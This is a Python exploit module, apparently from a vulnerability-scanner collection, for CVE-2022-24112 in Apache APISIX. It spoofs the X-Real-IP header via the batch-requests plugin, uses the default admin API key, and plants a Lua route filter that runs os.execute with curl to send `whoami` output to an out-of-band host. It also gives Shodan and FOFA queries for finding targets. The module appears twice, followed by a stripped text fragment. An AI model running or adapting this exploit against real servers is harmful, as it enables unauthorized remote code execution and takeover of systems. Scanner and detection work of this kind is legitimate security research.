import requests
import random
import string
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Apache APISIX apisix/batch-requests Remote Code Execution''',
        "description": '''A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.''',
        "severity": "critical",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-24112", 
            "https://www.openwall.com/lists/oss-security/2022/02/11/3", 
            "https://twitter.com/sirifu4k1/status/1496043663704858625", 
            "https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests",
            "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24112/vultarget"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "9.8",
            "cve-id": "CVE-2022-24112",
            "cwe-id": "CWE-290"
        },
        "metadata":{
            "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24112/vultarget",
            "shodan-query":'''title:"Apache APISIX Dashboard"''',
            "fofa-query":'''title="Apache APISIX Dashboard"''',
            "product":'''https://apisix.apache.org'''
        },
        "tags": ["cve", "cve2022", "apache", "rce", "apisix", "oast"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    randstr = gen_randstr(10)
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/apisix/batch-requests"""
        method = "POST"
        data = {
            "headers":{
                "X-Real-IP":"127.0.0.1",
                "Content-Type":"application/json"
            },
            "timeout":1500,
            "pipeline":[
                {
                "method":"PUT",
                "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
                "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/%s\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl http://%s/`whoami`'); return true end\"}" % (randstr, oob_domain)
                }
            ]
        }
        headers = {'Content-Type': 'application/json', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}
        resp0 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/api/%s""" % (randstr)
        method = "GET"
        headers = {'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}
        resp1 = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url

def gen_randstr(length):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))
import requests
import random
import string
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Apache APISIX apisix/batch-requests Remote Code Execution''',
        "description": '''A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.''',
        "severity": "critical",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-24112", 
            "https://www.openwall.com/lists/oss-security/2022/02/11/3", 
            "https://twitter.com/sirifu4k1/status/1496043663704858625", 
            "https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests",
            "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24112/vultarget"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "9.8",
            "cve-id": "CVE-2022-24112",
            "cwe-id": "CWE-290"
        },
        "metadata":{
            "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24112/vultarget",
            "shodan-query":'''title:"Apache APISIX Dashboard"''',
            "fofa-query":'''title="Apache APISIX Dashboard"''',
            "product":'''https://apisix.apache.org'''
        },
        "tags": ["cve", "cve2022", "apache", "rce", "apisix", "oast"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    randstr = gen_randstr(10)
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/apisix/batch-requests"""
        method = "POST"
        data = {
            "headers":{
                "X-Real-IP":"127.0.0.1",
                "Content-Type":"application/json"
            },
            "timeout":1500,
            "pipeline":[
                {
                "method":"PUT",
                "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
                "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/%s\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl http://%s/`whoami`'); return true end\"}" % (randstr, oob_domain)
                }
            ]
        }
        headers = {'Content-Type': 'application/json', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}
        resp0 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/api/%s""" % (randstr)
        method = "GET"
        headers = {'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}
        resp1 = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url

def gen_randstr(length):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))
# Vuln Base Info Apache APISIX apisix/batch-requests Remote Code Execution A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. title:"Apache APISIX Dashboard" title="Apache APISIX Dashboard" https://apisix.apache.org # Vender Fingerprint # Proof of Concept /apisix/batch-requests /api/%s # Exploit, can be same with poc() # Utils